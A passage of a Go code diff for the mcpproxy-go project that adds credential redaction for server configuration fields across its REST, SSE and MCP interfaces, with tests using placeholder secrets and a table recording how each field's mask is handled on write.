+ assert.Equal(t, sc.Command, masked.Command) + assert.Equal(t, sc.WorkingDir, masked.WorkingDir) + assert.Equal(t, sc.URL, masked.URL, "a URL with no credential in it must round-trip verbatim") + assert.Equal(t, sc.Enabled, masked.Enabled) + assert.Equal(t, sc.Quarantined, masked.Quarantined) + assert.Equal(t, sc.TrustMode, masked.TrustMode) + assert.Equal(t, sc.Shared, masked.Shared) + assert.Equal(t, sc.Created, masked.Created) + assert.Equal(t, sc.Updated, masked.Updated) + assert.Equal(t, sc.ReconnectOnUse, masked.ReconnectOnUse) + require.NotNil(t, masked.AutoApproveToolChanges) + assert.True(t, *masked.AutoApproveToolChanges) + require.NotNil(t, masked.ExposePrompts) + assert.False(t, *masked.ExposePrompts, "an explicit false must survive as an explicit false") + require.NotNil(t, masked.MaxConcurrentRequests) + assert.Equal(t, maxConcurrent, *masked.MaxConcurrentRequests) + require.NotNil(t, masked.HealthCheckInterval) + assert.Equal(t, interval, *masked.HealthCheckInterval) + assert.Equal(t, sc.LauncherWaitTimeout, masked.LauncherWaitTimeout) + assert.Equal(t, sc.ToonOutput, masked.ToonOutput) + assert.Equal(t, sc.EnabledTools, masked.EnabledTools) + assert.Equal(t, sc.SourceRegistryID, masked.SourceRegistryID) + assert.Equal(t, sc.SourceRegistryProvenance, masked.SourceRegistryProvenance) +} + +func TestRedactServerConfigSecrets_NilIsNil(t *testing.T) { + assert.Nil(t, RedactServerConfigSecrets(nil)) + assert.Nil(t, RedactedServerConfigView(nil, LiveRedaction)) +} + +// The view and the typed copy are the SAME rule seen through two shapes: the +// MCP doors take the map, the server edition's ServerResponse takes the struct. +// A door that drifted from the other is what this issue keeps producing. +func TestRedactServerConfigSecrets_AgreesWithTheMapView(t *testing.T) { + sc := secretBearingServerConfig() + + view := RedactedServerConfigView(sc, LiveRedaction) + typed := RedactServerConfigSecrets(sc) + require.NotNil(t, typed) + + assert.Equal(t, view, NormalizeForRedaction(typed), + "the typed copy and the map view must render the same payload") +} + +func secretBearingServerConfig() *config.ServerConfig { + return &config.ServerConfig{ + Name: "shared-secrets", + URL: "https://api.example.com/mcp?access_token=urlsecretvalue1234567890", + Protocol: "http", + Command: "npx", + Args: []string{"server", "--api-key", "argvsecretvalue1234567890"}, + Env: map[string]string{"GITHUB_TOKEN": "envsecretvalue1234567890"}, + Headers: map[string]string{ + "Authorization": "Bearer hdrsecretvalue1234567890", + "X-Api-Key": "apikeysecretvalue1234567890", + }, + OAuth: &config.OAuthConfig{ + ClientID: "public-client-id", + ClientSecret: "oauthsecretvalue1234567890", + }, + Isolation: &config.IsolationConfig{ + ExtraArgs: []string{"-e", "API_KEY=isosecretvalue1234567890"}, + }, + Enabled: true, + Shared: true, + Created: time.Date(2026, 1, 1, 0, 0, 0, 0, time.UTC), + } +} + +func mustParseScheme(t *testing.T, raw string) string { + t.Helper() + for i := 0; i < len(raw); i++ { + if raw[i] == ':' { + return raw[:i] + } + } + return "" +} + +// GH #1145's `retry_stopped_reason` arrived on contracts.Server from main while +// this branch was open, and the coverage canary caught it with no decision. +// +// Its name says "catalog message", but diagnostics.PermanentFailureReason falls +// through to the RAW error whenever the terminal code has no catalog entry — +// and that raw error is ci.LastError.Error(), which +// core.enrichTransportClosedError folds the child process's captured stderr +// into. So it is upstream free text of exactly the last_error kind, and it must +// be scrubbed rather than trusted for its name. +func TestRedactServerSecretFields_ScrubsRetryStoppedReason(t *testing.T) { + srv := &contracts.Server{ + Name: "parked", + RetryStoppedReason: "dial https://api.example.com/mcp?access_token=" + ghpToken + + " failed; recent stderr:\nAPI_KEY=" + ghpToken, + RetryStoppedCode: "MCPX_STDIO_EXEC_NOT_FOUND", + } + + RedactServerSecretFields(srv) + + assert.NotContains(t, srv.RetryStoppedReason, ghpToken, + "retry_stopped_reason falls back to the raw upstream error, so it carries the same "+ + "credentials last_error does and takes the same scrub") + assert.Equal(t, "MCPX_STDIO_EXEC_NOT_FOUND", srv.RetryStoppedCode, + "the terminal code is a stable catalog identifier this proxy produced; blanking it "+ + "would cost the operator the one field that says WHY the server parked") +} diff --git a/internal/oauth/serverfields.go b/internal/oauth/serverfields.go new file mode 100644 index 000000000..bffc29759 --- /dev/null +++ b/internal/oauth/serverfields.go @@ -0,0 +1,378 @@ +package oauth + +import ( + "github.com/smart-mcp-proxy/mcpproxy-go/internal/contracts" +) + +// RedactServerSecretFields masks the secret-bearing fields of one +// contracts.Server in place, using the LIVE policy — the SAME +// oauth.Redaction rule set the MCP `upstream_servers list` / +// `quarantine_security list_quarantined` payloads are built from. +// +// Issue #1148, round 4 finding 3 put the FIELD LIST here. Round 6 finding 2 +// put the RULES here too: this function used to apply name-rule-only redaction +// (RedactEnvValues / RedactStringHeaders / RedactURLQueryParams) while the MCP +// door applied the name rule PLUS the value-shaped detector, so a credential +// under a benign env/header name — or under an unrecognised URL query +// parameter — was masked on one door and published in the clear on the other. +// Sharing a field list but not the rules is the same half-done shape this issue +// keeps producing; both now come from LiveRedaction. +// +// There are THREE doors onto this struct — `GET /api/v1/servers` and its +// single-server children, the `/events` SSE `servers.changed` payload, and the +// tray/Web UI reading either. Parity between them is load-bearing beyond the +// leak: the Web UI's mergeServers treats each payload as authoritative, so a +// masked-vs-plaintext mismatch between the list response and the SSE delivery +// would flicker on every event. +// +// Callers apply the `reveal_secret_headers` opt-out themselves; by the time a +// server reaches here it is being redacted. +// +// The write-path answer for every field is recorded ONCE, in +// ServerFieldMaskDecisions below, and enforced by the write doors through +// UnmaskLiveEnvValues / UnmaskLiveHeaders / UnmaskLiveURL / UnmaskLiveOAuth +// plus the CheckServerWriteMasks residual net. +func RedactServerSecretFields(server *contracts.Server) { + if server == nil { + return + } + if len(server.Headers) > 0 { + headers := make(map[string]string, len(server.Headers)) + for k, v := range server.Headers { + headers[k] = LiveRedaction.HeaderValue(k, v) + } + server.Headers = headers + } + if len(server.Env) > 0 { + env := make(map[string]string, len(server.Env)) + for k, v := range server.Env { + env[k] = LiveRedaction.EnvValue(k, v) + } + server.Env = env + } + if server.URL != "" { + server.URL = LiveRedaction.URLValue(server.URL) + } + if len(server.Args) > 0 { + server.Args = LiveRedaction.Argv(server.Args) + } + if server.OAuth != nil { + // Copy the struct rather than writing through the pointer: the + // contracts.Server may share its OAuth block with the caller's config. + masked := *server.OAuth + // auth_url / token_url are DISCOVERED endpoints, not secrets, and they + // exist only on this projection (config.OAuthConfig has no such + // fields). They take the URL rule rather than the name rule on + // purpose: `auth_url` contains the substring `AUTH`, so judging it by + // its NAME would blank a public endpoint the operator needs to read, + // while the URL rule still masks a credential carried in its query + // string. + masked.AuthURL = LiveRedaction.URLValue(masked.AuthURL) + masked.TokenURL = LiveRedaction.URLValue(masked.TokenURL) + // client_id takes the same leaf rule the MCP door applies to + // config.OAuthConfig.client_id — readable unless the value itself is + // credential-shaped. + masked.ClientID = LiveRedaction.Leaf("client_id", masked.ClientID) + if len(masked.ExtraParams) > 0 { + params := make(map[string]string, len(masked.ExtraParams)) + for k, v := range masked.ExtraParams { + params[k] = LiveRedaction.Leaf(k, v) + } + masked.ExtraParams = params + } + // Round 6 finding 3: the MCP door masks `oauth.scopes` (and REFUSES an + // echo of that mask) because a scope slot is free text an agent can + // paste a credential into. Two doors, one field, one answer. + if len(masked.Scopes) > 0 { + scopes := make([]string, len(masked.Scopes)) + for i, v := range masked.Scopes { + scopes[i] = LiveRedaction.Leaf("scopes", v) + } + masked.Scopes = scopes + } + server.OAuth = &masked + } + // The isolation blocks are REDACTED THROUGH THE SHARED WALK rather than + // field by field (issue #1148, round 7 finding 2). + // + // This function used to skip them entirely, so `isolation.extra_args` — + // free text an operator can put `-e API_KEY=` into — was masked on + // the MCP door and published IN THE CLEAR on `GET /api/v1/servers` and on + // every `/events` servers.changed payload. The decision table asserted in + // prose that it was covered; it was not. + // + // Walking rather than enumerating is the durable half: a field added to + // contracts.IsolationConfig / IsolationDefaults is masked because the walk + // reaches it. `isolation_defaults` is included because its contents are + // resolved from the SAME operator-supplied global config — a credential in + // the global `docker_isolation.extra_args` lands there verbatim. + // + // A walk that cannot round-trip fails CLOSED: the block is dropped rather + // than published half-redacted. + if server.Isolation != nil { + iso := *server.Isolation + if LiveRedaction.RedactNested("isolation", &iso) { + server.Isolation = &iso + } else { + server.Isolation = nil + } + } + if server.IsolationDefaults != nil { + defaults := *server.IsolationDefaults + if LiveRedaction.RedactNested("isolation_defaults", &defaults) { + server.IsolationDefaults = &defaults + } else { + server.IsolationDefaults = nil + } + } + if server.LastError != "" { + server.LastError = MaskDetectedSecrets(RedactSensitiveData(server.LastError)) + } + // GH #1145's retry_stopped_reason is free-form UPSTREAM text, not the fixed + // catalog string its name suggests: diagnostics.PermanentFailureReason falls + // through to the raw error whenever the terminal code has no catalog + // message, and that raw error is ci.LastError.Error() — which + // core.enrichTransportClosedError folds the CHILD PROCESS'S captured stderr + // into, and which routinely carries the upstream URL with its query + // credentials. So it is scrubbed in parity with LastError / Health.Detail / + // Diagnostic.Cause rather than trusted for its name. + if server.RetryStoppedReason != "" { + server.RetryStoppedReason = MaskDetectedSecrets(RedactSensitiveData(server.RetryStoppedReason)) + } + if server.Health != nil && server.Health.Detail != "" { + health := *server.Health + health.Detail = MaskDetectedSecrets(RedactSensitiveData(health.Detail)) + server.Health = &health + } + // Spec 044 diagnostic — its Cause echoes the raw connect error, which + // carries the full upstream URL (query secrets and all); scrub it in parity + // with LastError / Health.Detail. + if server.Diagnostic != nil && server.Diagnostic.Cause != "" { + diag := *server.Diagnostic + diag.Cause = MaskDetectedSecrets(RedactSensitiveData(diag.Cause)) + server.Diagnostic = &diag + } +} + +// MaskDecision is what a write door does when a client echoes back the mask a +// read door rendered for a field. +// +// Issue #1148 spent five review rounds on one shape: a rule applied at one door +// and not its sibling. The cure is that the answer for a field is written down +// ONCE, here, and every door reads it from the same place — so a field cannot +// be masked on read with no matching answer on write (which corrupts the stored +// credential), nor left in the clear on one door because the other one already +// handles it. +type MaskDecision string + +const ( + // MaskDecisionRevertByKey — the read mask is reverted on write, bound to a + // KEY the caller cannot restate without also restating what the secret is + // for: a map key, a query-parameter name plus the stored scheme+host, a + // named struct field. Anything the binding cannot reach is refused. + MaskDecisionRevertByKey MaskDecision = "revert-by-key" + + // MaskDecisionRefuse — the read mask is NEVER reverted; a write carrying it + // is rejected and the caller resends the real value. This is the answer for + // every field whose secret has no key to bind to (an argv slot has only its + // index and its neighbours, and the caller supplies the whole vector *and* + // `command` in the same request) and, by default, for every field nobody + // has yet given a binding — which is what makes a new field fail CLOSED. + MaskDecisionRefuse MaskDecision = "refuse" + + // MaskDecisionNotSecret — the field carries no credential, is never masked + // on any read door, and so can never be echoed back as a mask. The residual + // net still refuses one if it appears. + MaskDecisionNotSecret MaskDecision = "not-secret" +) + +// ServerFieldMaskDecisions records the decision for every field of a server as +// it appears on the wire, keyed by its DOTTED WIRE PATH. Both +// config.ServerConfig (the MCP door + the config file) and contracts.Server +// (the REST/SSE door) are covered; the two share most names. +// +// The keys are paths, not top-level field names, because round 7 finding 4 +// found the guard itself failing open: it reflected over the TOP LEVEL only, +// and all three of that round's leaks — `isolation.extra_args` published in the +// clear on two doors and its mask accepted on a third — lived one level down, +// under a single `isolation` row that claimed in prose to cover them. +// +// TestServerFieldMaskDecisions_CoverEveryNestedLeaf walks BOTH structs +// recursively (into nested structs, slices and maps) and fails when any leaf +// that can carry TEXT — and therefore a credential — appears without a +// decision. Whether a leaf can carry text is derived from its Go type, not +// asserted here: a bool, an int or a time.Time structurally cannot hold a +// token, so it needs no row. Everything else does, which is what stops a new +// nested field inheriting "leaked by default" or "corrupted by default". +var ServerFieldMaskDecisions = map[string]MaskDecision{ + // --- masked on read, reverted on write, bound to a key --- + "url": MaskDecisionRevertByKey, // UnmaskURL + UnmaskLiveURLParams, bound to the parameter name and the stored scheme+host:port + "env": MaskDecisionRevertByKey, // UnmaskEnvValues / UnmaskLiveEnvValues, bound to the variable name + "headers": MaskDecisionRevertByKey, // UnmaskHeaders / UnmaskLiveHeaders, bound to the header name + "oauth": MaskDecisionRevertByKey, // UnmaskLiveOAuth: client_secret/client_id/redirect_uri/extra_params bound to their own names; scopes and every future leaf REFUSED + + // --- masked on read, never reverted --- + "args": MaskDecisionRefuse, // CheckArgvMaskEcho: an argv slot carries no key + + // --- not secret-bearing --- + "id": MaskDecisionNotSecret, + "name": MaskDecisionNotSecret, + "protocol": MaskDecisionNotSecret, + "command": MaskDecisionNotSecret, + "working_dir": MaskDecisionNotSecret, + "enabled": MaskDecisionNotSecret, + "quarantined": MaskDecisionNotSecret, + "skip_quarantine": MaskDecisionNotSecret, + "auto_approve_tool_changes": MaskDecisionNotSecret, + "trust_mode": MaskDecisionNotSecret, + "shared": MaskDecisionNotSecret, + "created": MaskDecisionNotSecret, + "updated": MaskDecisionNotSecret, + "reconnect_on_use": MaskDecisionNotSecret, + "expose_prompts": MaskDecisionNotSecret, + "launcher_wait_timeout": MaskDecisionNotSecret, + "health_check_interval": MaskDecisionNotSecret, + "tool_discovery_interval": MaskDecisionNotSecret, + "init_timeout": MaskDecisionNotSecret, + "max_concurrent_requests": MaskDecisionNotSecret, + "queue_size": MaskDecisionNotSecret, + "queue_timeout": MaskDecisionNotSecret, + "toon_output": MaskDecisionNotSecret, + "enabled_tools": MaskDecisionNotSecret, + "disabled_tools": MaskDecisionNotSecret, + "source_registry_id": MaskDecisionNotSecret, + "source_registry_provenance": MaskDecisionNotSecret, + + // Docker/sandbox overrides, leaf by leaf. `extra_args` is free text an + // operator can put a `-e API_KEY=…` into, and the rest are free-form + // strings a credential can be pasted into just as easily; the read doors + // mask them through the same leaf rule as any other config string, and + // nothing binds a mask back to an element of a caller-replaced block, so an + // echo is refused by the residual net. + // + // Round 7 finding 3: this row used to stand alone and was read as covering + // the subtree, while `upstream_servers list` republished + // `docker_isolation.server_isolation.extra_args` (and the whole global + // `docker_status.isolation_config`) in the clear in the same payload. + "isolation": MaskDecisionRefuse, + "isolation.mode": MaskDecisionRefuse, + "isolation.mode_override": MaskDecisionRefuse, + "isolation.image": MaskDecisionRefuse, + "isolation.network_mode": MaskDecisionRefuse, + "isolation.extra_args": MaskDecisionRefuse, + "isolation.working_dir": MaskDecisionRefuse, + "isolation.memory_limit": MaskDecisionRefuse, + "isolation.cpu_limit": MaskDecisionRefuse, + "isolation.timeout": MaskDecisionRefuse, + "isolation.log_driver": MaskDecisionRefuse, + "isolation.log_max_size": MaskDecisionRefuse, + "isolation.log_max_files": MaskDecisionRefuse, + + // oauth, leaf by leaf. UnmaskLiveOAuth binds a revert to the field NAME for + // the four leaves that have one; everything else — including any leaf added + // later — is refused by the residual net that closes UnmaskLiveOAuth. + "oauth.client_secret": MaskDecisionRevertByKey, + "oauth.client_id": MaskDecisionRevertByKey, + "oauth.redirect_uri": MaskDecisionRevertByKey, + "oauth.extra_params": MaskDecisionRevertByKey, // bound per parameter name + "oauth.scopes": MaskDecisionRefuse, // a scope slot has no key, exactly as an argv slot has none + // auth_url / token_url are DISCOVERED endpoints that exist only on the + // contracts projection; nothing writes back through them, and a mask + // arriving in one is refused rather than bound. + "oauth.auth_url": MaskDecisionRefuse, + "oauth.token_url": MaskDecisionRefuse, + + // Server edition only (//go:build server); the personal edition carries an + // empty stub. Brokered credentials are masked by the leaf rules on read and + // have no key-bound revert, so an echo is refused. + "auth_broker": MaskDecisionRefuse, + + // --- contracts.Server-only projections (read-only; never accepted on a write) --- + "connected": MaskDecisionNotSecret, + "connecting": MaskDecisionNotSecret, + "status": MaskDecisionNotSecret, + "last_error": MaskDecisionNotSecret, // scrubbed free-form text; nothing writes back through it + "connected_at": MaskDecisionNotSecret, + "last_reconnect_at": MaskDecisionNotSecret, + "reconnect_count": MaskDecisionNotSecret, + // GH #1145 parked-server state. `retry_stopped_code` is a stable MCPX_* + // catalog code this proxy produced. `retry_stopped_reason` falls back to the + // RAW upstream error when the code has no catalog message, so it is scrubbed + // on read exactly like last_error; nothing writes back through either. + "retry_stopped_code": MaskDecisionNotSecret, + "retry_stopped_reason": MaskDecisionNotSecret, // scrubbed free-form text + "tool_count": MaskDecisionNotSecret, + // isolation_defaults is READ-ONLY output, but round 7 finding 4 re-judged + // it: it is resolved from the operator-supplied GLOBAL docker_isolation + // block, so a credential in the global `extra_args` lands in it verbatim. + // It is masked on read like any other isolation block, and an echo is + // refused — nothing binds a mask back into a derived projection. + "isolation_defaults": MaskDecisionRefuse, + "isolation_defaults.runtime_type": MaskDecisionRefuse, + "isolation_defaults.image": MaskDecisionRefuse, + "isolation_defaults.network_mode": MaskDecisionRefuse, + "isolation_defaults.extra_args": MaskDecisionRefuse, + "isolation_defaults.working_dir": MaskDecisionRefuse, + + // isolation_effective is derived state: an enum mode, the resolved global + // mode and the name of the deciding rule. None of the three can carry an + // operator-supplied value. + "isolation_effective": MaskDecisionNotSecret, + "isolation_effective.mode": MaskDecisionNotSecret, + "isolation_effective.global_mode": MaskDecisionNotSecret, + "isolation_effective.source": MaskDecisionNotSecret, + "authenticated": MaskDecisionNotSecret, + "oauth_status": MaskDecisionNotSecret, + "token_expires_at": MaskDecisionNotSecret, + "tool_list_token_size": MaskDecisionNotSecret, + "should_retry": MaskDecisionNotSecret, + "retry_count": MaskDecisionNotSecret, + "last_retry_time": MaskDecisionNotSecret, + "user_logged_out": MaskDecisionNotSecret, + "quarantine": MaskDecisionNotSecret, + "error_code": MaskDecisionNotSecret, + + // Health: computed status plus operator-facing prose. `detail` is the only + // leaf that echoes upstream text, and RedactServerSecretFields scrubs it; + // nothing writes back through any of them. + "health": MaskDecisionNotSecret, + "health.level": MaskDecisionNotSecret, + "health.admin_state": MaskDecisionNotSecret, + "health.summary": MaskDecisionNotSecret, + "health.detail": MaskDecisionNotSecret, // scrubbed free-form text + "health.action": MaskDecisionNotSecret, + + // Spec 044 diagnostic: a classified failure. `cause` echoes the raw connect + // error and is scrubbed; the rest are codes and fixed prose. Read-only. + "diagnostic": MaskDecisionNotSecret, + "diagnostic.code": MaskDecisionNotSecret, + "diagnostic.severity": MaskDecisionNotSecret, + "diagnostic.cause": MaskDecisionNotSecret, // scrubbed free-form text + "diagnostic.user_message": MaskDecisionNotSecret, + "diagnostic.docs_url": MaskDecisionNotSecret, + "diagnostic.fix_steps[].type": MaskDecisionNotSecret, + "diagnostic.fix_steps[].label": MaskDecisionNotSecret, + "diagnostic.fix_steps[].command": MaskDecisionNotSecret, + "diagnostic.fix_steps[].url": MaskDecisionNotSecret, + "diagnostic.fix_steps[].fixer_key": MaskDecisionNotSecret, + + // Scan results: statuses and scanner identifiers this proxy produced. + // Read-only; no operator value reaches them. + "security_scan": MaskDecisionNotSecret, + "security_scan.status": MaskDecisionNotSecret, + "security_scan.deep_scan.skipped_scanners": MaskDecisionNotSecret, + "security_scan.deep_scan.scanners_failed[].id": MaskDecisionNotSecret, + // `reason` is a scanner's own error text; it is produced by this proxy's + // scanner layer, never round-tripped, and the residual net still refuses a + // mask arriving in it. + "security_scan.deep_scan.scanners_failed[].reason": MaskDecisionNotSecret, +} + +func init() { + // Edition-gated fields (//go:build server) are recorded in their own file + // so the personal build does not carry decisions for paths that do not + // exist in it — a stale row reads as a rule being enforced when it is not. + for path, decision := range editionServerFieldMaskDecisions { + ServerFieldMaskDecisions[path] = decision + } +} diff --git a/internal/oauth/serverfields_serveredition.go b/internal/oauth/serverfields_serveredition.go new file mode 100644 index 000000000..41c579186 --- /dev/null +++ b/internal/oauth/serverfields_serveredition.go @@ -0,0 +1,22 @@ +//go:build server + +package oauth + +// editionServerFieldMaskDecisions records the write-path answer for the +// server-edition-only `auth_broker` block (config.AuthBrokerConfig). +// +// Every leaf is REFUSED. The block is replaced wholesale by a write and nothing +// binds a mask back into it, so an echo of a read mask must be rejected rather +// than persisted over the brokered credential — the same answer `args` and +// `oauth.scopes` get, and the same reason. +var editionServerFieldMaskDecisions = map[string]MaskDecision{ + "auth_broker.mode": MaskDecisionRefuse, + "auth_broker.token_endpoint": MaskDecisionRefuse, + "auth_broker.authorization_endpoint": MaskDecisionRefuse, + "auth_broker.resource": MaskDecisionRefuse, + "auth_broker.scopes": MaskDecisionRefuse, + "auth_broker.client_id": MaskDecisionRefuse, + "auth_broker.client_secret": MaskDecisionRefuse, + "auth_broker.header": MaskDecisionRefuse, + "auth_broker.header_format": MaskDecisionRefuse, +} diff --git a/internal/oauth/serverfields_stub.go b/internal/oauth/serverfields_stub.go new file mode 100644 index 000000000..adf0c9c74 --- /dev/null +++ b/internal/oauth/serverfields_stub.go @@ -0,0 +1,8 @@ +//go:build !server + +package oauth + +// editionServerFieldMaskDecisions is empty in the personal edition: +// config.ServerConfig.AuthBroker is a stub struct with no fields on the wire, +// so there is nothing under `auth_broker` to decide about. +var editionServerFieldMaskDecisions = map[string]MaskDecision{} diff --git a/internal/oauth/serverwrite.go b/internal/oauth/serverwrite.go new file mode 100644 index 000000000..f503b7ff1 --- /dev/null +++ b/internal/oauth/serverwrite.go @@ -0,0 +1,237 @@ +package oauth + +import ( + "bytes" + "encoding/json" + "errors" + "fmt" + "strings" + + "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" +) + +// Issue #1148, round 6. The WRITE half of the rule set lives here, next to the +// read half in redactview.go, and every write door — MCP `upstream_servers +// add|update|patch`, REST `POST`/`PATCH /api/v1/servers` — calls exactly these +// functions. +// +// It has to be one place for the same reason the read half does: internal/httpapi +// sits BELOW internal/server in the import graph, so a mirror written in +// internal/server is unreachable from REST. Round 5 left the live-rendering +// mirrors (unmaskLive*) up in internal/server while round 6 moved the live +// RENDERING onto the REST read door — which, without this move, would have +// turned REST rows from "published in the clear" into "silently corrupted", +// the one trade this branch must never make. +// +// The shape every door follows: +// +// 1. Revert what can be BOUND TO A KEY — a map key, a query-parameter name +// plus the stored scheme+host, a named struct field. +// 2. REFUSE whatever still carries a mask this proxy rendered +// (CheckServerWriteMasks). That covers the fields with no binding (argv, +// scopes, isolation.extra_args) AND every field added to the config struct +// later, so a new field fails CLOSED instead of persisting its own mask +// over a live credential. +// +// ServerFieldMaskDecisions in serverfields.go records which fields are in (1) +// and which fall to (2), and a reflection test fails when a new field appears +// without an answer. + +// UnmaskLiveEnvValues reverts env values a client echoed back exactly as a LIVE +// read door rendered them. +// +// It exists alongside UnmaskEnvValues because the live rendering runs the +// value-shaped detector over leaves the NAME rule left alone (`env: {BENIGN: +// ghp_…}`) — a rendering UnmaskEnvValues cannot recognise, since it compares +// against maskedEnvValue. Without this mirror, masking that leaf would trade a +// disclosure for the read-modify-write corruption of #1142/#1146. +// +// Binding is by KEY, exactly as UnmaskEnvValues binds, so a value can only ever +// be restored to the variable it was read from. +func UnmaskLiveEnvValues(incoming, stored map[string]string) map[string]string { + return unmaskLiveMapValues(incoming, stored, LiveRedaction.EnvValue) +} + +// UnmaskLiveHeaders is UnmaskLiveEnvValues for header maps. +func UnmaskLiveHeaders(incoming, stored map[string]string) map[string]string { + return unmaskLiveMapValues(incoming, stored, LiveRedaction.HeaderValue) +} + +func unmaskLiveMapValues(incoming, stored map[string]string, rendered func(k, v string) string) map[string]string { + if incoming == nil || len(stored) == 0 { + return incoming + } + out := make(map[string]string, len(incoming)) + for k, v := range incoming { + if sv, ok := stored[k]; ok && v == rendered(k, sv) { + out[k] = sv + continue + } + out[k] = v + } + return out +} + +// UnmaskLiveURL reverts a masked URL on the write path, and REFUSES the write +// when a mask it cannot bind survives. +// +// Three steps, widest binding first: +// +// 1. The whole URL echoed back byte for byte — revert to the stored URL. +// 2. A genuine edit — UnmaskURL restores the userinfo password and the +// SENSITIVE query params under its own authority safeguard, then +// UnmaskLiveURLParams restores, PER PARAMETER, anything the value-shaped +// detector masked under a parameter name no matcher recognises. +// 3. Whatever still carries a mask marker is refused. +// +// Round 4 finding 2 is why (2) needs the per-parameter pass and (3) exists at +// all: for `https://host/old?opaque=ghp_…` the LIVE detector masks the value, +// but changing `/old` to `/new` defeats the whole-URL comparison in (1) and +// UnmaskURL ignores the unrecognised `opaque` parameter — so the mask was +// written through as the credential. The per-parameter revert is bound to the +// parameter name and the authority and to nothing else, so it survives an +// unrelated edit; the refusal covers everything that binding cannot reach (a +// URL moved to another host, a mask in the path or the fragment, a parameter +// whose stored counterpart is gone). +func UnmaskLiveURL(incoming, stored string) (string, error) { + if incoming == "" { + return incoming, nil + } + if stored != "" { + if incoming == LiveRedaction.URLValue(stored) { + return stored, nil + } + incoming = UnmaskLiveURLParams(UnmaskURL(incoming, stored), stored) + } + if ContainsMaskMarker(incoming) { + return "", errors.New("url is a redaction placeholder, not a URL: " + + "credentials inside the URL are masked on read, and this one cannot be bound back to the stored " + + "value (the scheme/host changed, or the credential does not sit in a query parameter). " + + "Resend the real URL, or omit url to leave the stored one unchanged") + } + return incoming, nil +} + +// UnmaskLiveOAuth reverts masked oauth fields echoed back by a client, and +// REFUSES the write when a mask it cannot bind survives. +// +// The oauth block is REPLACED wholesale by a write, and the live view masks +// every leaf of it that looks like a credential — not just client_secret. +// Round 2 finding 6 fixed client_secret; round 4 finding 1 caught the rest: +// `extra_params` routinely holds an RFC 8707 resource indicator with a signed +// URL, which the URL rule masks, and any leaf can be masked by the value-shaped +// detector. A read-modify-write therefore persisted the MASK STRING over those +// values. +// +// - client_secret, client_id, redirect_uri — reverted, each bound to its own +// field name, using the same rendering the read path produced. +// - extra_params — reverted per PARAMETER NAME, exactly as env vars and +// headers are reverted per key. +// - scopes, and any field added to config.OAuthConfig in future — REFUSED. A +// scope's only context is its position in a caller-supplied slice, which is +// the same non-binding an argv token has (see CheckArgvMaskEcho), and a +// future field has no revert at all. The residual check walks the whole +// block, so a new field fails CLOSED instead of silently corrupting. +func UnmaskLiveOAuth(incoming, stored *config.OAuthConfig) error { + if incoming == nil { + return nil + } + if stored != nil { + incoming.ClientSecret = UnmaskLiveField("client_secret", incoming.ClientSecret, stored.ClientSecret) + incoming.ClientID = UnmaskLiveField("client_id", incoming.ClientID, stored.ClientID) + incoming.RedirectURI = UnmaskLiveField("redirect_uri", incoming.RedirectURI, stored.RedirectURI) + incoming.ExtraParams = unmaskLiveMapValues(incoming.ExtraParams, stored.ExtraParams, LiveRedaction.Leaf) + } + if path, ok := FindMaskMarker("oauth", NormalizeForRedaction(incoming)); ok { + return fmt.Errorf("oauth%s is a redaction placeholder, not a value: "+ + "it carries no key this proxy can bind the stored secret to, so it is never restored on write. "+ + "Resend the real value, or omit the oauth block to leave the stored one unchanged", + strings.TrimPrefix(path, "oauth")) + } + return nil +} + +// UnmaskLiveField reverts one scalar field echoed back exactly as a live read +// door rendered it, bound to the field NAME the rendering was keyed on. +func UnmaskLiveField(key, incoming, stored string) string { + if incoming == "" || stored == "" { + return incoming + } + if incoming == LiveRedaction.Leaf(key, stored) { + return stored + } + return incoming +} + +// CheckServerWriteMasks is the fail-closed net on EVERY server write door. +// +// After the key-bound reverts above have restored what they can bind, anything +// still carrying a mask this proxy rendered is refused. That is what makes the +// scheme total rather than a list of fields somebody remembered: a field with +// no revert (args, oauth.scopes, isolation.extra_args), a mask relocated to a +// field it was never read from, and — the case five review rounds kept +// producing — a field ADDED to config.ServerConfig later, all fail CLOSED +// instead of persisting the mask over a live credential. +// +// `what` names the thing being written, for the operator-facing message. +func CheckServerWriteMasks(what string, v interface{}) error { + path, ok := FindMaskMarker("", NormalizeForRedaction(v)) + if !ok { + return nil + } + return fmt.Errorf("%s%s is a redaction placeholder, not a value: "+ + "secrets are masked on read and this mask carries no key this proxy can bind the stored value to, "+ + "so it is never restored on write. Resend the real value, or omit the field to leave the stored one unchanged", + what, strings.TrimPrefix(path, ".")) +} + +// FindMaskMarker walks a generic JSON value and returns the dotted path of the +// first string leaf still carrying a mask this proxy rendered. +// +// Walking the whole value rather than checking a hand-written field list is the +// point: it is what makes a field ADDED to the struct later fail closed instead +// of quietly round-tripping its own mask into the config. +func FindMaskMarker(path string, v interface{}) (string, bool) { + switch typed := v.(type) { + case map[string]interface{}: + for k, val := range typed { + if p, ok := FindMaskMarker(path+"."+k, val); ok { + return p, true + } + } + case []interface{}: + for i, val := range typed { + if p, ok := FindMaskMarker(fmt.Sprintf("%s[%d]", path, i), val); ok { + return p, true + } + } + case string: + if ContainsMaskMarker(typed) { + return path, true + } + } + return "", false +} + +// NormalizeForRedaction turns an arbitrary typed config value into generic JSON +// (maps / slices / json.Number / string / bool) so the walkers above and the +// redaction walker in internal/server can inspect it key by key. json.Number +// keeps integers exact instead of degrading them to float64 and rendering as +// 1.048576e+06. On failure the value is returned unchanged; the walkers' default +// branch then passes it through. +func NormalizeForRedaction(v interface{}) interface{} { + if v == nil { + return nil + } + encoded, err := json.Marshal(v) + if err != nil { + return v + } + dec := json.NewDecoder(bytes.NewReader(encoded)) + dec.UseNumber() + var out interface{} + if err := dec.Decode(&out); err != nil { + return v + } + return out +} diff --git a/internal/runtime/event_bus.go b/internal/runtime/event_bus.go index bf03eb53a..624faaa22 100644 --- a/internal/runtime/event_bus.go +++ b/internal/runtime/event_bus.go @@ -316,38 +316,27 @@ func (r *Runtime) enrichServersWithQuarantineStats(servers []contracts.Server) { } } -// redactServerSecrets mirrors httpapi.(*Server).redactServerSecrets. It masks -// the secret-bearing fields (sensitive headers, env-var secrets, URL query -// credentials, and secrets echoed into last_error / health.detail) unless the -// loaded config opts out via reveal_secret_headers: true. Keeping SSE -// subscribers behind the exact same trust boundary as the REST list is -// load-bearing: the Web UI's mergeServers treats each payload as authoritative, -// so a masked-vs-plaintext mismatch between the two would flicker on every -// delivery. +// redactServerSecrets masks the secret-bearing fields of every server in an SSE +// payload unless the loaded config opts out via reveal_secret_headers: true. +// +// The field list AND the rules are oauth.RedactServerSecretFields — the same +// function the REST list path calls, applying the same oauth.LiveRedaction the +// MCP 